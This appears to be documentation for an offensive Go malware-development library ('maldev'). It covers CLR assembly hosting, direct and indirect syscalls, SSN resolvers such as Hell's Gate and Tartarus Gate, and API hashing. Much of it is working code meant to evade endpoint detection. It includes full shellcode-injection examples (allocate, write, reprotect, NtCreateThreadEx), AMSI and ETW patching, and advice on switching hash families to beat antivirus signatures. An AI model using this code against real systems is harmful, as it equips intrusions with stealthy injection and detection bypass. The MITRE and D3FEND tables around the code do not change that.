for _, v := range versions {
    fmt.Println("installed:", v)
}

OPSEC & Detection

ArtefactWhere defenders look
clr.dll + mscoreei.dll module load in non-.NET hostHigh-fidelity heuristic — Defender for Endpoint, Elastic, S1
AmsiScanBuffer flagging the assemblyAMSI v2 scans every Load_3 — published tooling caught universally
Microsoft-Windows-DotNETRuntime ETW providerAssembly-load events; without ETW patch every load is logged
ICorRuntimeHost COM activation from non-Microsoft processEDR COM-activation telemetry
Process Hollowing-like behaviour: process metadata says non-.NET, runtime hosts CLRBehavioural EDR rule

D3FEND counters:

  • D3-PSA — module-load lineage.
  • D3-FCA — AMSI on assembly bytes.

Hardening for the operator:

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1620Reflective Code Loadingfull — CLR-hosted in-memory .NETD3-FCA, D3-PSA
T1059Command and Scripting Interpreterpartial — in-process .NET execution without dotnet.exeD3-PSA

Limitations

  • AMSI / ETW upstream patches required for hostile assemblies.
  • CLR lifecycle is global per-process. Once started, a CLR cannot be cleanly unloaded; subsequent Load calls re-use the same instance.
  • Output capture. Stdout / stderr from the assembly require redirection setup before ExecuteAssembly.
  • AppDomain isolation absent. All assemblies share the default AppDomain; one exception can take down the runtime.
  • .NET 3.5 disabled-by-default on modern Windows. Legacy runtime hosting needs the policy install.
  • [STAThread] requirement. Some assemblies require an STA apartment; running without re-creating that apartment may fail for COM-heavy tooling.

Credit

  • ropnop/go-clr — canonical Go port; vendored upstream.

See also

Syscall Methods & SSN Resolvers

← maldev README · docs/index

The win/syscall package composes three orthogonal concerns behind a single *Caller. Operators tune each axis independently; downstream packages (inject/*, evasion/*, c2/shell) accept a *Caller and inherit the chosen posture without recompiling.

Primer — vocabulary

Eight terms recur throughout the syscalls/* pages:

Syscall — direct kernel transition (syscall instruction on x64). The actual mechanism Windows uses to call into the kernel; everything else (Win32, NTAPI) is a wrapper that eventually issues a syscall.

NTAPIntdll.dll's Nt* functions (NtAllocateVirtualMemory, NtCreateThreadEx, …). Thin userland wrappers around the syscall instruction. Every Win32 API call (VirtualAlloc, CreateThread) eventually bottoms out in an NTAPI call.

SSN (System Service Number) — the integer index of a syscall in the kernel's service table. Hardcoded in each ntdll prologue. Rotates between Windows builds — NtAllocateVirtualMemory is SSN 0x18 on one build, 0x19 on the next.

Userland hook — inline patch (typically JMP rel32) an EDR installs at the start of an NTAPI prologue so it can inspect arguments before the syscall fires. "Bypassing hooks" means issuing the syscall without going through the patched bytes.

Direct syscall — issuing the syscall instruction from your own code with the SSN you obtained somehow. Skips the (possibly hooked) ntdll prologue entirely.

Indirect syscall — calling INTO ntdll's syscall instruction (which lives at a fixed offset past the prologue). Trades direct-syscall's "RIP outside ntdll" tell for "uses the canonical syscall site". EDRs scanning for syscall instructions in non-ntdll memory miss this.

API hashing — replacing string lookups ("NtAllocateVirtualMemory") with constant integer hashes (0xE0762FEA) so the implant's .rdata doesn't carry plaintext API names. ROR13 is the classical algorithm; Hellgate / HashGate use this internally to find Nt* exports.

Hellsgate / Halosgate / Tartarus / HashGate / Chain — SSN-resolution strategies. Each has different fallbacks for when the canonical source (a clean ntdll prologue) is compromised. See ssn-resolvers.md.

Three concerns (read this first)

flowchart LR
    subgraph callsite [Call site<br>e.g. inject.RemoteThread]
        C["*wsyscall.Caller"]
    end
    subgraph axis1 [1. Calling method<br>HOW the syscall fires]
        A1["MethodWinAPI / NativeAPI / Direct /<br>Indirect / IndirectAsm"]
    end
    subgraph axis2 [2. SSN resolver<br>WHERE the syscall number comes from]
        A2["HellsGate / HalosGate / Tartarus /<br>HashGate / Chain"]
    end
    subgraph axis3 [3. API hashing<br>HOW the symbol is found without a string]
        A3["ROR13 / FNV / Jenkins / custom HashFunc"]
    end
    C --> A1
    C --> A2
    A2 --> A3

The three axes answer different questions:

AxisQuestion it answersPages
1 — Calling methodHow does the implant issue the syscall once the SSN is known? Which userland boundary do we cross / skip?direct-indirect.md
2 — SSN resolverWhere does the SSN come from? What happens when the canonical source (the unhooked ntdll prologue) is unavailable?ssn-resolvers.md
3 — API hashingHow do we identify the right Nt* export without a plaintext name in the binary?api-hashing.md

Tuning one axis does NOT imply tuning the others. You can:

  • pick MethodIndirect (axis 1) with HellsGate (axis 2) — no api-hashing.
  • pick MethodWinAPI (axis 1) with HashGate (axis 2 — uses axis 3 internally).
  • swap the hash function on HashGate (axis 3) without touching axis 1 / 2.

Architecture Overview

graph TD
    subgraph "Consumer Packages"
        INJ[inject/]
        EVA[evasion/]
        C2[c2/shell]
    end

    subgraph "win/syscall"
        CALLER["*Caller"]
        CALLER -->|method| WINAPI[MethodWinAPI]
        CALLER -->|method| NATIVE[MethodNativeAPI]
        CALLER -->|method| DIRECT[MethodDirect]
        CALLER -->|method| INDIRECT[MethodIndirect]

        CALLER -->|resolver| HG[HellsGate]
        CALLER -->|resolver| HAG[HalosGate]
        CALLER -->|resolver| TG[TartarusGate]
        CALLER -->|resolver| HGR[HashGate]
        CALLER -->|resolver| CH[Chain]
    end

    subgraph "win/api"
        PEB["PEB Walk"]
        HASH["API Hashing"]
        RESOLVE["ResolveByHash"]
    end

    INJ -->|"*Caller (nil = WinAPI)"| CALLER
    EVA -->|"*Caller (nil = WinAPI)"| CALLER
    C2 -->|"*Caller (nil = WinAPI)"| CALLER
    HGR --> PEB
    HGR --> HASH
    RESOLVE --> PEB
    RESOLVE --> HASH

Quick Reference

MethodHook BypassStack CleanMemory CleanStealth
WinAPINoneN/AN/ALowest
NativeAPIkernel32N/AN/ALow
DirectAll userlandNoNoMedium
IndirectAll userlandYesYesHigh (heap stub, RW↔RX cycle)
IndirectAsmAll userlandYesYesHighest (Go-asm stub, no writable code)
ResolverUnhooked ntdllJMP-hooked ntdllFully hooked ntdllString-free
HellsGateYesNoNoNo
HalosGateYesYes (neighbor)NoNo
TartarusGateYesYes (trampoline)Yes (neighbor fallback)No
HashGateYesNoNoYes
ChainDepends on compositionDepends on compositionDepends on compositionDepends

Quick decision tree

You want to…Use
…call a Windows API with no plaintext name in the binaryapi-hashing.md (HashGate)
…skip kernel32-level hooks but stay in ntdlldirect-indirect.mdMethodNativeAPI
…skip every userland hook (kernel32 + ntdll)direct-indirect.mdMethodIndirect / MethodIndirectAsm
…make the syscall return inside ntdll's .text (call-stack stealth)direct-indirect.mdMethodIndirect family
…avoid any writable code page in the implantdirect-indirect.mdMethodIndirectAsm
…randomise the syscall return address per calldirect-indirect.md — gadget pool
…auto-fall-back when the target stub is hookedssn-resolvers.md — Halo's / Tartarus / Chain
…read the SSN even when the entire ntdll text section is hookedssn-resolvers.md — TartarusGate
…swap in your own hash function (defeat ROR13 fingerprints)NewHashGateWith(fn) + Caller.WithHashFunc(fn)

Documentation

DocumentDescription
Direct & Indirect SyscallsThe five invocation methods (incl. Go-asm IndirectAsm) and when to use each
API HashingPEB walk + ROR13 hashing to eliminate plaintext strings
SSN ResolversHell's Gate, Halo's Gate, Tartarus Gate, HashGate

MITRE ATT&CK

TechniqueIDDescription
Native APIT1106Directly interact with the native OS API

D3FEND Countermeasures

CountermeasureIDDescription
System Call AnalysisD3-SCAMonitor syscall origins and patterns
Function Call RestrictionD3-FCRRestrict dynamic function resolution

See also

API Hashing (PEB Walk + ROR13)

<- Back to Syscalls Overview

MITRE ATT&CK: T1106 - Native API D3FEND: D3-FCR - Function Call Restriction


New to maldev syscalls? Read the syscalls/README.md vocabulary callout first (syscall, NTAPI, SSN, userland hook, direct/indirect, API hashing, gate-family resolvers).

What api-hashing is NOT

[!IMPORTANT] api-hashing is only the symbol-resolution axis (concern #3 in README.md). It answers "how do I find the right export without a plaintext string?".

It does not decide:

  • how the syscall fires — that's the calling method (MethodWinAPI / MethodNativeAPI / MethodDirect / MethodIndirect / MethodIndirectAsm). See direct-indirect.md.
  • where the SSN comes from — that's the SSN resolver (HellsGate / HalosGate / TartarusGate / Chain). See ssn-resolvers.md. HashGate is the resolver that uses api-hashing to find the Nt* prologue.

Tuning hashing alone does not give you a stealthier syscall — a hash-resolved MethodWinAPI call still goes through every kernel32/ntdll hook in the process. Pair api-hashing with the calling method and SSN resolver you want.

Primer

When your program calls VirtualAlloc, the string "VirtualAlloc" appears in the binary. Any analyst running strings on your executable can see exactly which dangerous APIs you use.

Instead of calling someone by name (which gets overheard), you use a coded number. API hashing converts function names like "NtAllocateVirtualMemory" into numeric hashes like 0xD33BCABD. Your binary only contains these numbers -- no readable strings. At runtime, the code walks the Process Environment Block (PEB) to find loaded DLLs and their exports, hashing each export name until it finds a match.


How It Works

flowchart TD
    subgraph "Build Time"
        FN["Function name:\nNtAllocateVirtualMemory"] -->|ROR13| HASH["Hash constant:\n0xD33BCABD"]
        MN["Module name:\nKERNEL32.DLL"] -->|"ROR13 (wide + null)"| MHASH["Hash constant:\n0x50BB715E"]
    end

    subgraph "Runtime Resolution"
        TEB["Thread Environment Block\n(GS:0x30)"] -->|"+0x60"| PEB["Process Environment Block"]
        PEB -->|"+0x18"| LDR["PEB_LDR_DATA"]
        LDR -->|"+0x10"| LIST["InLoadOrderModuleList"]

        LIST --> WALK["Walk linked list"]
        WALK --> MOD1["ntdll.dll\nBase: 0x7FFE..."]
        WALK --> MOD2["KERNEL32.DLL\nBase: 0x7FFD..."]
        WALK --> MOD3["...other DLLs"]

        MOD2 -->|"Hash BaseDllName\ncompare with 0x50BB715E"| MATCH["Module found!"]
        MATCH -->|"Parse PE headers"| EXPORTS["Export Directory"]
        EXPORTS -->|"Walk AddressOfNames"| EWALK["Hash each export name"]
        EWALK -->|"Compare with 0xD33BCABD"| FOUND["Function address found!"]
    end

    HASH -.->|"embedded in binary"| EWALK
    MHASH -.->|"embedded in binary"| MOD2

    style HASH fill:#a94,color:#fff
    style MHASH fill:#a94,color:#fff
    style FOUND fill:#4a9,color:#fff

PEB Walk Details

The PEB (Process Environment Block) contains a list of all loaded DLLs. On x64 Windows:

  1. TEB (Thread Environment Block) is at GS:0x30
  2. PEB is at TEB+0x60
  3. PEB_LDR_DATA is at PEB+0x18
  4. InLoadOrderModuleList starts at LDR+0x10

Each entry in the list is an LDR_DATA_TABLE_ENTRY containing:

  • +0x30: DllBase (the module's base address)
  • +0x58: BaseDllName as UNICODE_STRING (Length, MaxLength, Buffer)

ROR13 Hashing

ROR13 (Rotate Right by 13 bits) is the de facto standard for shellcode API hashing:

For each character c in the name:
    hash = (hash >> 13) | (hash << 19)   // rotate right 13 bits
    hash = hash + c                       // add character value

Two variants exist in maldev:

  • ROR13 (hash.ROR13): ASCII, no null terminator -- used for export names
  • ROR13Module (hash.ROR13Module): UTF-16LE wide chars + null terminator -- used for PEB module names

Beyond ROR13 — defeating signature engines

Many EDR signature engines key on the canonical ROR13 constants (0x6A4ABC5B for kernel32, 0x4FC8BB5A for LoadLibraryA, …). If the engine sees those uint32s in a binary's .rdata, it flags the file regardless of the runtime behaviour.

Pivoting to a different hash family makes the implant's constants statically distinct. The hash package ships:

FunctionOutputNotes
hash.ROR13(name)uint32Canonical shellcode hash; widest signature exposure.
hash.JenkinsOAAT(name)uint32Bob Jenkins one-at-a-time + avalanche tail; cheap, no division, slightly better avalanche than ROR13.
hash.FNV1a32(name)uint32FNV-1a 32-bit; matches hash/fnv byte-for-byte.
hash.FNV1a64(name)uint64FNV-1a 64-bit.
hash.DJB2(name)uint32Bernstein hash * 33 + c; classic, weaker on short inputs.
hash.CRC32(name)uint32IEEE polynomial; backed by hash/crc32 table.

Compose with win/syscall:

caller := wsyscall.New(
    wsyscall.MethodIndirectAsm,
    wsyscall.NewHashGateWith(hash.JenkinsOAAT),
).WithHashFunc(hash.JenkinsOAAT)

Both ends MUST agree: NewHashGateWith(fn) for the resolver, WithHashFunc(fn) for any CallByHash call. Pre-compute the hash constants once at build time (or via a go generate step) to keep the binary string-free.

cmd/hashgen — generate the constants

Use the in-tree CLI to emit const Hash<Algo><Symbol> = 0x… declarations for any of the 7 supported algorithms (ror13, ror13module, fnv1a32, fnv1a64, jenkins, djb2, crc32):

go run ./cmd/hashgen -algo jenkins -package winhashes \
    LoadLibraryA GetProcAddress NtAllocateVirtualMemory > winhashes/winhashes_gen.go

Or, for go generate-style integration, drop a stanza like the following into a stub file and check the generated output into git:

//go:generate go run ../../cmd/hashgen -algo jenkins -package winhashes -o winhashes_gen.go LoadLibraryA GetProcAddress

This keeps the runtime cost zero (no hashing on each process start) and the binary string-free.

PE Export Resolution

Once the module base is found, the code parses the PE export directory:

  1. Read e_lfanew at offset 0x3C to find the PE header
  2. Navigate to DataDirectory[0] (export directory) at PE header +24+112
  3. Walk AddressOfNames, hash each name, compare with target hash
  4. On match, read the ordinal from AddressOfNameOrdinals and the RVA from AddressOfFunctions

Usage

ResolveByHash: Find a Function Address

import "github.com/oioio-space/maldev/win/api"

// Resolve LoadLibraryA in KERNEL32.DLL -- no strings in binary
addr, err := api.ResolveByHash(api.HashKernel32, api.HashLoadLibraryA)
if err != nil {
    log.Fatal(err)
}
// addr is now the function pointer for LoadLibraryA

CallByHash: Execute a Syscall by Hash

import (
    "github.com/oioio-space/maldev/win/api"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()

// NtAllocateVirtualMemory via hash -- zero plaintext function names
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
    uintptr(0xFFFFFFFFFFFFFFFF),
    uintptr(unsafe.Pointer(&baseAddr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_READWRITE,
)

HashGateResolver: SSN Resolution by Hash

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// HashGate resolves SSNs via PEB walk -- no LazyProc.Find() calls
resolver := wsyscall.NewHashGate()
ssn, err := resolver.Resolve("NtCreateThreadEx")
// ssn is the syscall service number (e.g., 0xC1)

Pre-Computed Hash Constants

// Module hashes (ROR13Module of BaseDllName in PEB)
api.HashKernel32  // 0x50BB715E  "KERNEL32.DLL"
api.HashNtdll     // 0x411677B7  "ntdll.dll"
api.HashAdvapi32  // 0x9CB9105F  "ADVAPI32.dll"
api.HashUser32    // 0x51319D6F  "USER32.dll"
api.HashShell32   // 0x18D72CAC  "SHELL32.dll"

// Function hashes (ROR13 of ASCII export name)
api.HashLoadLibraryA            // 0xEC0E4E8E
api.HashGetProcAddress          // 0x7C0DFCAA
api.HashVirtualAlloc            // 0x91AFCA54
api.HashNtAllocateVirtualMemory // 0xD33BCABD
api.HashNtProtectVirtualMemory  // 0x8C394D89
api.HashNtCreateThreadEx        // 0x4D1DEB74
api.HashNtWriteVirtualMemory    // 0xC5108CC2

Combined Example: defeat ROR13 fingerprinting

A ROR13-only signature engine sees the canonical api.HashLoadLibraryA = 0xEC0E4E8E constant in the binary's .rdata and flags the file. Switching the entire stack to JenkinsOAAT changes that constant to a fresh value the engine never trained on:

package main

import (
    "fmt"

    "github.com/oioio-space/maldev/hash"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // Both ends MUST agree on the hash family.
    caller := wsyscall.New(
        wsyscall.MethodIndirectAsm,
        wsyscall.NewHashGateWith(hash.JenkinsOAAT),
    ).WithHashFunc(hash.JenkinsOAAT)
    defer caller.Close()

    // Pre-compute the funcHash at build time. JenkinsOAAT yields a
    // different uint32 than ROR13 for the same name, so existing
    // signature databases targeting the ROR13 constant don't match.
    ntClose := hash.JenkinsOAAT("NtClose") // = 0x???????? (your build's value)

    if _, err := caller.CallByHash(ntClose, 0); err != nil {
        fmt.Println("syscall:", err)
    }
}

hash.FNV1a32, hash.DJB2, hash.CRC32, and hash.FNV1a64 swap in identically — pick the family least represented in the target signature corpus.

Combined Example: String-Free Injection

package main

import (
    "unsafe"

    "golang.org/x/sys/windows"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/win/api"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // All function resolution via hashes -- no "NtAllocateVirtualMemory" string in binary
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
    defer caller.Close()

    // Decrypt shellcode (key would be derived at runtime in production)
    key, _ := crypto.NewAESKey()
    shellcode := []byte{/* ... */}
    encrypted, _ := crypto.EncryptAESGCM(key, shellcode)
    decrypted, _ := crypto.DecryptAESGCM(key, encrypted)

    // Allocate memory via hash
    var baseAddr uintptr
    regionSize := uintptr(len(decrypted))
    caller.CallByHash(api.HashNtAllocateVirtualMemory,
        uintptr(0xFFFFFFFFFFFFFFFF),
        uintptr(unsafe.Pointer(&baseAddr)),
        0,
        uintptr(unsafe.Pointer(&regionSize)),
        windows.MEM_COMMIT|windows.MEM_RESERVE,
        windows.PAGE_READWRITE,
    )

    // Write shellcode via hash
    var bytesWritten uintptr
    caller.CallByHash(api.HashNtWriteVirtualMemory,
        uintptr(0xFFFFFFFFFFFFFFFF),
        baseAddr,
        uintptr(unsafe.Pointer(&decrypted[0])),
        uintptr(len(decrypted)),
        uintptr(unsafe.Pointer(&bytesWritten)),
    )

    // Change protection via hash
    var oldProtect uintptr
    caller.CallByHash(api.HashNtProtectVirtualMemory,
        uintptr(0xFFFFFFFFFFFFFFFF),
        uintptr(unsafe.Pointer(&baseAddr)),
        uintptr(unsafe.Pointer(&regionSize)),
        windows.PAGE_EXECUTE_READ,
        uintptr(unsafe.Pointer(&oldProtect)),
    )

    // Execute via hash
    var threadHandle uintptr
    caller.CallByHash(api.HashNtCreateThreadEx,
        uintptr(unsafe.Pointer(&threadHandle)),
        0x1FFFFF, 0, uintptr(0xFFFFFFFFFFFFFFFF),
        baseAddr, 0, 0, 0, 0, 0, 0,
    )

    windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE)
}

Advantages & Limitations

Advantages

  • No plaintext strings: strings and YARA rules targeting API names find nothing
  • No IAT entries: Functions resolved at runtime are invisible in the Import Address Table
  • Composable: HashGate works as an SSNResolver in the Chain pipeline
  • Lazy init: ntdll base address resolved once via sync.Once, cached for all subsequent calls

Limitations

  • ROR13 collisions: Theoretically possible (32-bit hash space), though none exist for common NT function names
  • PEB walk detectable: ETW providers and some EDRs monitor PEB traversal patterns
  • Hash constants are signatures: Known ROR13 values (e.g., 0xD33BCABD for NtAllocateVirtualMemory) become YARA targets themselves — switch families (hash.JenkinsOAAT / hash.FNV1a32 / hash.DJB2 / hash.CRC32) to render those signatures useless against your binary. NewHashGateWith(fn) and Caller.WithHashFunc(fn) recompute the ntdll.dll module-name hash via fn at construction time, so the ROR13Module fingerprint constant 0x411677B7 no longer appears in binaries built with a non-ROR13 family — the swap is end-to-end, not function-only
  • No pre-computed Hash* constants for non-ROR13 families: win/api.HashKernel32 / HashLoadLibraryA / etc. are ROR13-only. When pairing wsyscall.NewHashGateWith(hash.JenkinsOAAT) with Caller.CallByHash, callers compute the funcHash at build time themselves. A cmd/hashgen go generate step that emits per-family constant tables is queued under backlog row P2.24.
  • Requires loaded modules: Can only resolve functions from DLLs already in the PEB -- cannot load new DLLs by hash alone

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/hash is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Direct & Indirect Syscalls

<- Back to Syscalls Overview

MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis


New to maldev syscalls? Read the syscalls/README.md vocabulary callout first (syscall, NTAPI, SSN, userland hook, direct/indirect, API hashing, gate-family resolvers).

What direct/indirect syscalls is NOT

[!IMPORTANT] Direct/indirect syscalls is only the calling-method axis (concern #1 in README.md). It answers "how do I issue the syscall — through kernel32, through ntdll, or straight from the implant's own page?".

It does not decide:

  • where the SSN comes from — that's the SSN resolver (ssn-resolvers.md). MethodDirect / MethodIndirect / MethodIndirectAsm all consume an SSN they didn't compute themselves.
  • how the Nt* export is found — that's api-hashing.md. The calling method is identical whether the symbol came from a string lookup or a ROR13 hash.

Picking MethodIndirectAsm alone does not make your implant string-free or hook-resilient against pre-injection ntdll patches — pair it with HashGate (resolver) for the full stack.

Primer

When your program needs Windows to do something (allocate memory, create a thread), it normally goes through the official front desk -- kernel32.dll and ntdll.dll. EDR products stand at this front desk, logging every request.

Instead of going through the official front desk (which logs everything), you find a back door. Direct syscalls build a tiny instruction that talks to the kernel directly, skipping the hooked ntdll code entirely. Indirect syscalls go one step further: they make it look like the call came from ntdll, even though your code initiated it -- like sneaking in the back door but leaving footprints that look like they came from the front.


How It Works

Every NT function in ntdll follows the same x64 pattern:

mov r10, rcx         ; save first arg (kernel expects r10, not rcx)
mov eax, <SSN>       ; load the Syscall Service Number
syscall              ; transition to kernel mode
ret

The SSN is an index into the kernel's System Service Descriptor Table (SSDT). EDR products hook these functions by overwriting the prologue bytes with a JMP to their monitoring code.

The five methods in win/syscall differ in how they reach the syscall instruction:

flowchart LR
    subgraph "WinAPI / NativeAPI"
        A1[Your Code] -->|"LazyProc.Call()"| A2[kernel32.dll]
        A2 --> A3[ntdll.dll]
        A3 -->|"syscall"| A4[Kernel]
        A3 -.->|"EDR hook"| EDR1[EDR Monitor]
    end

    subgraph "Direct Syscall"
        B1[Your Code] -->|"SSN resolved"| B2["Private stub\n(mov eax,SSN; syscall; ret)"]
        B2 -->|"syscall from\nprivate memory"| B3[Kernel]
        B2 -.->|"Detectable:\nsyscall outside ntdll"| EDR2[Memory Scanner]
    end

    subgraph "Indirect Syscall"
        C1[Your Code] -->|"SSN resolved"| C2["Private stub\n(mov eax,SSN; jmp r11)"]
        C2 -->|"jmp to ntdll\nsyscall;ret gadget"| C3["ntdll.dll\n(0F 05 C3)"]
        C3 -->|"syscall from\nntdll address space"| C4[Kernel]
    end

    style EDR1 fill:#f66,color:#fff
    style EDR2 fill:#f96,color:#fff

Method Comparison

graph TD
    Q{Need to bypass<br>EDR hooks?}
    Q -->|No| WINAPI["MethodWinAPI<br>Standard, maximum compatibility"]
    Q -->|Yes| Q2{EDR hooks<br>kernel32 only?}
    Q2 -->|Yes| NATIVE["MethodNativeAPI<br>Bypass kernel32, call ntdll directly"]
    Q2 -->|No| Q3{EDR performs<br>call-stack analysis?}
    Q3 -->|No| DIRECT["MethodDirect<br>Private syscall stub"]
    Q3 -->|Yes| INDIRECT["MethodIndirect<br>JMP to ntdll gadget, cleanest stack"]

    style WINAPI fill:#4a9,color:#fff
    style NATIVE fill:#49a,color:#fff
    style DIRECT fill:#a94,color:#fff
    style INDIRECT fill:#94a,color:#fff
MethodConstantBypass kernel32Bypass ntdllSurvive memory scanSurvive stack analysisPer-call VirtualProtect
WinAPIMethodWinAPINoNoN/AN/ANo
NativeAPIMethodNativeAPIYesNoN/AN/ANo
DirectMethodDirectYesYesNoNoYes (RW↔RX)
IndirectMethodIndirectYesYesYesYesYes (RW↔RX)
IndirectAsmMethodIndirectAsmYesYesYesYesNo

MethodIndirectAsm vs MethodIndirect

Both end the same way — syscall executes inside ntdll's .text from a randomly picked syscall;ret gadget — but the path to the gadget is different.

MethodIndirect builds a 21-byte stub (mov r10,rcx; mov eax,SSN; mov r11,gadget; jmp r11) into a heap page, flips the page RW→RX→RW around SyscallN, and returns. That heap page is writable code in the implant's address space, and the protection cycle calls VirtualProtect twice per syscall — both are classic EDR signals.

MethodIndirectAsm ships the same logic as Go assembly inside the binary's .text section. SSN and gadget address are passed as register arguments — no patching, no writable code page, no VirtualProtect. The trade-off is that the stub lives at a fixed RVA inside the implant binary, so a YARA rule could match its bytes; mitigate by morphing the function or stripping symbols.

The gadget address is drawn at random per call from the full pool of 0F 05 C3 triples in ntdll (pickSyscallGadget), so successive syscalls from the same caller don't all return to the same RVA.


Usage

Basic: WinAPI (Default Fallback)

When *Caller is nil, consumer packages fall back to standard WinAPI:

import "github.com/oioio-space/maldev/inject"

// nil Caller = standard WinAPI path (no bypass)
pipe := inject.NewPipeline(nil)

Direct Syscalls with Hell's Gate

import (
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodDirect, wsyscall.NewHellsGate())
defer caller.Close()

// Call NtAllocateVirtualMemory directly -- bypasses all userland hooks
ret, err := caller.Call("NtAllocateVirtualMemory",
    uintptr(0xFFFFFFFFFFFFFFFF), // ProcessHandle (-1 = current)
    uintptr(unsafe.Pointer(&baseAddr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_READWRITE,
)

Indirect Syscalls with Tartarus Gate

import (
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Tartarus Gate handles JMP-hooked functions
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()

ret, err := caller.Call("NtCreateThreadEx", /* args... */)

IndirectAsm + custom hash function

import wsyscall "github.com/oioio-space/maldev/win/syscall"

// Build-time hash function — every binary built with a different `key`
// produces different funcHash constants, so static signatures on the
// well-known ROR13 values stop matching.
fnv1a := func(s string) uint32 {
    h := uint32(2166136261)
    for i := 0; i < len(s); i++ {
        h ^= uint32(s[i])
        h *= 16777619
    }
    return h
}

caller := wsyscall.New(
    wsyscall.MethodIndirectAsm,
    wsyscall.NewHashGateWith(fnv1a),
).WithHashFunc(fnv1a)

// fnv1a("NtAllocateVirtualMemory") is computed at build-time by the
// optimizer when fed a string constant — no plaintext name in .rdata.
ret, err := caller.CallByHash(fnv1a("NtAllocateVirtualMemory"), /* args */)

Both ends MUST agree: NewHashGateWith(fn) for the resolver to walk the export table, WithHashFunc(fn) for CallByHash to do the same lookup. Pass nil (or call NewHashGate()) for the default ROR13 path.

String-Free: CallByHash

import (
    "github.com/oioio-space/maldev/win/api"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()

// No plaintext function name in the binary -- only a uint32 hash constant
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
    uintptr(0xFFFFFFFFFFFFFFFF),
    uintptr(unsafe.Pointer(&baseAddr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_READWRITE,
)

Combined Example: Injection + Evasion + Indirect Syscalls

package main

import (
    "log"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // 1. Create an indirect syscall caller with resilient SSN resolution
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(
            wsyscall.NewTartarus(),  // try JMP-hook trampoline first
            wsyscall.NewHalosGate(), // fall back to neighbor scanning
        ),
    )
    defer caller.Close()

    // 2. Apply evasion techniques through the same caller
    evasion.ApplyAll([]evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
    }, caller)

    // 3. Decrypt payload
    key := []byte("your-32-byte-AES-key-here!!!!!!")
    encPayload := []byte{/* encrypted shellcode */}
    shellcode, _ := crypto.DecryptAESGCM(key, encPayload)

    // 4. Inject using indirect syscalls for all NT calls
    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil { log.Fatal(err) }
    if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}

Advantages & Limitations

Advantages

  • Transparent bypass: Consumer packages pass *Caller -- same code works with WinAPI or indirect syscalls
  • RW/RX cycling: Stub pages are allocated RW, cycled to RX for execution, then back to RW -- no permanent RWX
  • Pre-allocated stubs: One VirtualAlloc per Caller lifetime, not per call -- reduces API call noise
  • Composable: Chain resolvers for maximum resilience against partial hooking

Limitations

  • Direct syscalls: The syscall instruction at a non-ntdll address is trivially detectable by memory scanners
  • Indirect syscalls: Still require a jmp gadget in ntdll -- if ntdll is entirely remapped, gadget scanning fails
  • SSN stability: SSNs change between Windows versions -- resolvers must run at runtime, not compile time
  • x64 only: The stub layouts and PEB offsets are hardcoded for x86-64

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/syscall is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

SSN Resolvers: Hell's Gate, Halo's Gate, Tartarus Gate, HashGate

<- Back to Syscalls Overview

MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis


New to maldev syscalls? Read the syscalls/README.md vocabulary callout first (syscall, NTAPI, SSN, userland hook, direct/indirect, API hashing, gate-family resolvers).

What SSN resolvers are NOT

[!IMPORTANT] SSN resolvers is only the syscall-number-discovery axis (concern #2 in README.md). It answers "where does the syscall service number come from when the canonical source (the unhooked ntdll prologue) is unavailable?".

It does not decide:

  • how the syscall fires once the SSN is known — that's the calling method (direct-indirect.md). HellsGate is happy to feed an SSN to MethodWinAPI — the call still goes through every hook.
  • how the Nt* export is identified — that's api-hashing.md. HashGate is the resolver that uses api-hashing internally; the rest still need a plaintext name.

Switching from HellsGate to TartarusGate does not change what hooks see; it only changes where the SSN was read. Pair the resolver with the calling method that matches your stealth target.

Primer

Every Windows kernel function has a secret number called the SSN (Syscall Service Number). When you want to call the kernel directly (bypassing EDR hooks), you need to know this number. The problem is, these numbers are not documented and change between Windows versions.

Each NT function has a secret number -- these resolvers figure out the number even when guards try to hide it. Think of it like a secret menu at a restaurant. Hell's Gate reads the number directly from the menu (if nobody has covered it up). Halo's Gate checks the neighboring items on the menu to figure out what your item's number must be. Tartarus Gate follows the "see other page" redirect that the guards placed over the menu. HashGate uses a codebook to find the menu item without even knowing its name.


How It Works

Every resolver answers the same question — "what SSN does NtXxx map to on this host?" — but with different assumptions about how tampered the in-process ntdll is.

